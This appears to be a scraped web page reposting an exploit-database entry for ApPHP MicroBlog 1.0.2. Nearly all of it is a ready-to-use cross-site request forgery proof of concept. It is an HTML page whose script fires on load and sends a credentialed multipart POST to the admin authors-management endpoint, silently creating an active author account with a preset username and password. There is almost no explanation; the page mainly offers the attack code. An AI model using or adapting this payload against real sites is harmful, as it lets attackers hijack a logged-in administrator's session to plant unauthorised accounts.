扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
# Exploit Title :ApPHP MicroBlog 1.0.2- Cross-Site Request Forgery(Add New Author) # Author :Besim # Google Dork : # Date : 12/10/2016 # Type : webapps # Platform :PHP # Vendor Homepage : - # Software link :http://www.scriptdungeon.com/jump.php?ScriptID=9162 ########################### CSRF PoC ############################### <html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", " http://site_name/path/index.php?admin=authors_management", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------25472311920733601781889948655"); xhr.withCredentials = true; var body = "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_action\"\r\n" + "\r\n" + "create\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_rid\"\r\n" + "\r\n" + "-1\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_sorting_fields\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_sorting_types\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_page\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_operation\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_operation_type\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_operation_field\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_search_status\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"mg_language_id\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"show_about_me\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"account_type\"\r\n" + "\r\n" + "author\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"last_login\"\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"first_name\"\r\n" + "\r\n" + "Mehmet\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"last_name\"\r\n" + "\r\n" + "mersin\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "mehmet@yopmail.com\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"user_name\"\r\n" + "\r\n" + "Zer0\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"password\"\r\n" + "\r\n" + "mehmet\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"avatar\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"about_me\"\r\n" + "\r\n" + "denemddendemdendjendk\r\n" + "-----------------------------25472311920733601781889948655\r\n" + "Content-Disposition: form-data; name=\"is_active\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------25472311920733601781889948655--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> #################################################################### |
体验盒子
